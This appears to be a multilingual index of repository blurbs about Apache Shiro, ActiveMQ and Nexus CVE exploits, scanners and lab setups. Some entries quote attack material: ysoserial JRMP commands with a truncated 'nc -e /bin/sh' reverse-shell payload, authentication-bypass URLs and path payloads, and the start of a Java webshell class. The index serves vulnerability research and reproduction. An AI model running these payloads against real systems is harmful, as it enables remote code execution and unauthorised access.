Awesome_shiro

Awesome-shiro CVE-2016-4437 Shiro Décodage Base64 -- Déchiffrement AES -- Désérialisation Environnement Linux/Windows 10 fonctionnent tous deux. Python2/Python3 fonctionnent tous deux. En raison de la présence de ysoserial.jar sous le module, le projet est un peu volumineux, merci de votre...

shiro-CVE-2020-11989

Ce depot n’a pas de fichier README...

Shiro_Xray

ShiroXray Gadget CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell: Ледяной Скорпион import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class 10837093162496 exten...

apache__shiro_CVE-2023-34478_1-11-0

Apache Shiro Apache Shiro — это мощная и простая в использовании среда безопасности для Java, которая выполняет аутентификацию, авторизацию, криптографию и управление сессиями. Благодаря понятному API Shiro вы можете быстро и легко защитить любое приложение — от самых маленьких мобильных приложен...

shiro-cve-2020-17523

Analyse des contournements d'authentification Apache Shiro CVE-2020-17523 0x01 Description de la vulnérabilité Apache Shiro est un framework de sécurité Java puissant et facile à utiliser, qui assure l'authentification, l'autorisation, la gestion des mots de passe et des sessions. Grâce à l'API...

WebLogic-Shiro-shell

Partage de techniques de désérialisation Java Ce partage aborde les points suivants : 1. Fondamentaux de la sérialisation et de la désérialisation Java 2. Pourquoi des vulnérabilités apparaissent-elles lors de la désérialisation ? 3. Réflexion Java 4. ysoserial...

ActiveMQ-RCE-Exploit

ActiveMQ-Exploit English | Chinois simplifié CVE-2023-46604 ActiveMQ RCE 5.18.3 Exploit - exploitation sans connexion sortante Prend en charge l'exécution avec jdk 1.8, vérification automatique si la version cible est dans la plage vulnérable. Prend en charge l'exploitation sans connexion sortant...

CVE-2024-4956

CVE-2024-4956 Ce dépôt contient un utilitaire Python pour automatiser l'exploitation de CVE-2024-4956 et est capable de tester en masse des chemins de fichiers à partir d'un fichier d'entrée tout en automatisant le processus de sauvegarde des contenus de chemins de fichiers existants sur le disqu...

CVE-2020-13933

Лаборатория CVE-2020-13933 Уязвимость обхода аутентификации в shiro 1.6.0 PoC http://127.0.0.1:8080/res/%3bpoc Среда лаборатории Описание кода ShiroConfig.java: Конфигурация прав доступа: при запросе ресурса /res/ выполняется 302-редирект на страницу входа для аутентификации NameController.java: ...

ShiroScan

ShiroScan Десериализация Shiro=1.2.4, инструмент для обнаружения в один клик 改动内容：1.新增4个利用链模块CommonsCollections7-10，预计增加成功率30%，已打包成新ysoserial的jar包，请勿更换 改动内容：2.增加多线程，虽模块增加但速度却提高300% 集成21个key进行fuzz Если помогло, пожалуйста, поставьте звезду. Статья в блоге: http://www.svenbeast.com/post/tskRKJIPg/...

Shiro-basic

Shiro-basic 이것은 간단한 Shiro-basic 프로젝트입니다. 침투 테스트 환경을 위한 것입니다...

SHIRO-721

Уязвимость SHIRO-721 RememberMe Padding Oracle RCE 0x00 Введение: RememberMe cookie зашифрован с использованием режима AES-128-CBC, что делает его уязвимым для атак Padding Oracle. Злоумышленник может использовать действительный RememberMe cookie в качестве префикса для атаки Padding Oracle, а...

SHIRO-550

Уязвимость десериализации Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh...

CVE-2022-32532

CVE-2022-32532 À propos Ceci est un projet de démonstration, qui ne montre qu'une des conditions pour exploiter cette vulnérabilité CVE-2022-32532. En réalité, il existe plus de façons de l'exploiter, tant que les développeurs utilisent RegExPatternMatcher, il y aura une possible vulnérabilité de...

shiro-cve-2010-3863

Apache Shiro - Traversée de chemin CVE-2010-3863 Reproduction de la vulnérabilité Environnement local avec Docker Ouvrir Yakit et capturer le trafic payload:/./admin/ Succès...

shiro

CVE-2026-49268 — LDAP 인젝션 인증 우회 취약점 분석 및 해결 | ---|--- 브랜치| 1.13-CVE-2026-49268 작성자| Jinwoo Hwang https://JinwooHwang.com 이 브랜치1.13-CVE-2026-49268는 Apache Shiro 1.13 릴리스의 LDAP 인젝션 인증 우회 취약점에 대한 포괄적인 보안 해결책을 포함하고 있습니다. 공식 NVD 설명 원격 공격자가 DefaultLdapRealm 클래스의 Distinguished NameDN 구성에 LDAP 특수 문자를 주입할...

Server-Side Request Forgery

Apache Shiro is vulnerable to Server-Side Request Forgery. The vulnerability is due to insufficient validation of the form‑resubmit target in the Jakarta EE integration module, where the server will initiate an outbound connection to a URL supplied in a crafted HTTP request and transmit...

cve-2020-13933

cve-2020-13933 cve-2020-13933 vulnérabilité de contournement de permissions Apache Shiro Cette reproduction est très simple, commencez par configurer l'environnement avec IDEA + Shiro Référence : https://www.cnblogs.com/ph4nt0mer/p/13535999.html Ensuite, exécutez, accédez et capturez le paquet...

CVE-2021-34045

Informations Titre de l'exploit：Novel-plus-install-v3.5.3-Druid Accès non autorisé Date de l'exploit：01.06.2021 Auteur de l'exploit：Al1ex@Heptagram Page d'accueil du fournisseur：https://github.com/201206030/novel-plus Version affectée：novel-plus-install-v3.5.3 Description：Le système Novell plus...

shisoserial

shisoserial English Document Qu'est-ce que c'est ? Un outil d'exploitation rapide pour la vulnérabilité de désérialisation Shiro CVE-2016-4437. Contributeurs 4nth0ny @ Laboratoire Vendredi Les issues/PR sont les bienvenus. : Environnement python 3.x JDK 1.8 Installation python3 -m pip install -r...